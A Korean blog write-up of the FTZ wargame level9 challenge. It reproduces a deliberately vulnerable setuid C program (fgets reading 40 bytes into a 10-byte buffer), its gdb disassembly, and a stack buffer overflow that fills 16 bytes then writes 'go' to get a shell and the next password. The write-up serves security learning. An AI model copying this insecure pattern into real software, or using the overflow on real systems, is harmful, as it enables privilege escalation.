ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • FTZ . level9 정리
    Pwnable/FTZ 2020. 2. 11. 05:26

    login : level9

    password : apple

     

     

    < hint 확인 >

     

    가장 먼저 ls 명령어를 통해서 파일들을 확인해보자

    [level9]$ ls
    hint tmp
    [level9]$ cat hint

    hint 를 확인해보면 (strncmp : 문자열을 비교하는 함수 / fgets : [저장할 변수, 데이터의 최대 크기, 입출력 방법])

    // hint의 소스코드
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
     
    main(){
     
      char buf2[10];
      char buf[10];
     
      printf("It can be overflow : ");
      fgets(buf,40,stdin);
     
      if ( strncmp(buf2, "go", 2) == 0 )
       {
            printf("Good Skill!\n");
            setreuid( 3010, 3010 );
            system("/bin/bash");
       }
     
    }  

    여기서 중요한것은 if 문을 실행시켜야 한다는 것이다!!

    (buf2가 "go"라는 문자열이 2개가 있어야 if 문이 실행 될것이다.)

     

    buf의 크기가 buf[10]; 으로 선언되었는데 fgets에서 40만큼의 데이터를 넣을 수 있게 해놨다.

     

    이 부분을 이용해서 buf값을 더 많이 넣어 buf2에 원하는 값을 넣을 수 있게 하면 if 문이 실행 될 것이다. 

     

    buf랑 buf2의 크기가 주어졌으니까 이 두개의 값에 주의하면서 풀어보자!

    // hint 소스코드 해석편
    
    #include <stdio.h> 
    #include <stdlib.h> 
    #include <unistd.h>
    
    main(){
     
      char buf2[10];
      char buf[10];
     
      printf("It can be overflow : ");
      fgets(buf,40,stdin);  // buf에 최대 40만큼 표준입력
     
      if ( strncmp(buf2, "go", 2) == 0 ) // buf2에 "go"라는 문자열을 최대 2개 비교한다. 같으면 0 
       {
            printf("Good Skill!\n");
            setreuid( 3010, 3010 );  // 3010이 level10 id값 /etc/password로 확인가능
            system("/bin/bash");     // /bin/bash 실행
       }
     
    }

     

     

    < tmp 파일에서 hint를 컴파일 해보자 >

     

    [level9]$ vi bof.c
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
     
    main(){
     
      char buf2[10];
      char buf[10];
     
      printf("It can be overflow : ");
      fgets(buf,40,stdin);
     
      if ( strncmp(buf2, "go", 2) == 0 )
       {
            printf("Good Skill!\n");
            setreuid( 3010, 3010 );
            system("/bin/bash");
       }
     
    }  

    bof.c 파일을 만들어서 hint 내용을 넣는다. (wq!)

     

    
    [level9]$ gcc -o bof bof.c   // 컴파일
    
    [level9]$ gdb bof            // 분석?
    
    (gdb) set disassembly-flavor intel    // 어셈블리어를 intel어로 보기 쉽게 변환
    
    (gdb) disas main             // main 어셈블리어로 확인
    
    

    gcc 를 사용하여 컴파일을 실행한다.

    gdb 를 사용하여 어셈블리어 확인!

     

     

    disas main 명령어의 결과값

     

    결과값을 보기좋게 나타내면

    0x08048420 <main+0>:	push   ebp
    0x08048421 <main+1>:	mov    ebp,esp
    0x08048423 <main+3>:	sub    esp,0x28
    0x08048426 <main+6>:	and    esp,0xfffffff0
    0x08048429 <main+9>:	mov    eax,0x0
    0x0804842e <main+14>:	sub    esp,eax
    0x08048430 <main+16>:	sub    esp,0xc
    0x08048433 <main+19>:	push   0x8048554
    0x08048438 <main+24>:	call   0x8048350 <printf>
    0x0804843d <main+29>:	add    esp,0x10
    0x08048440 <main+32>:	sub    esp,0x4
    0x08048443 <main+35>:	push   ds:0x8049698
    0x08048449 <main+41>:	push   0x28
    0x0804844b <main+43>:	lea    eax,[ebp-40]
    0x0804844e <main+46>:	push   eax
    0x0804844f <main+47>:	call   0x8048320 <fgets>
    0x08048454 <main+52>:	add    esp,0x10
    0x08048457 <main+55>:	sub    esp,0x4
    0x0804845a <main+58>:	push   0x2
    0x0804845c <main+60>:	push   0x804856a
    0x08048461 <main+65>:	lea    eax,[ebp-24]
    0x08048464 <main+68>:	push   eax
    0x08048465 <main+69>:	call   0x8048330 <strncmp>
    0x0804846a <main+74>:	add    esp,0x10
    0x0804846d <main+77>:	test   eax,eax
    0x0804846f <main+79>:	jne    0x80484a6 <main+134>
    0x08048471 <main+81>:	sub    esp,0xc
    0x08048474 <main+84>:	push   0x804856d
    0x08048479 <main+89>:	call   0x8048350 <printf>
    0x0804847e <main+94>:	add    esp,0x10
    0x08048481 <main+97>:	sub    esp,0x8
    0x08048484 <main+100>:	push   0xbc2
    0x08048489 <main+105>:	push   0xbc2
    0x0804848e <main+110>:	call   0x8048360 <setreuid>
    0x08048493 <main+115>:	add    esp,0x10
    0x08048496 <main+118>:	sub    esp,0xc
    0x08048499 <main+121>:	push   0x804857a
    0x0804849e <main+126>:	call   0x8048310 <system>
    0x080484a3 <main+131>:	add    esp,0x10
    0x080484a6 <main+134>:	leave  
    0x080484a7 <main+135>:	ret 

    이제 이걸 해석하면 되는데

     

    나는 잘 모르겠다.

     

    하지만 ebp 값을 보면 eax,[ebp-40] / eax,[ebp-24] 이 두가지 값을 확인 할 수 있다.

     

    이 두 값의 차는 16!

     

    그렇다면 16만큼 값을 채우고 if 문이 실행 될 수 있는 "go" 문자열을 넣으면 되지 않을까!?

     

    a 를 16개 입력후 go 입력
    [level9]$ my-pass 입력한 값

     

    level 10으로 가는 password를 얻어냈다!

     

    interesting to hack!

    'Pwnable > FTZ' 카테고리의 다른 글

    FTZ. level 11 정리  (3) 2020.02.25
    FTZ. 함수 프롤로그 / 함수 에필로그  (0) 2020.02.11

    댓글

Designed by Tistory.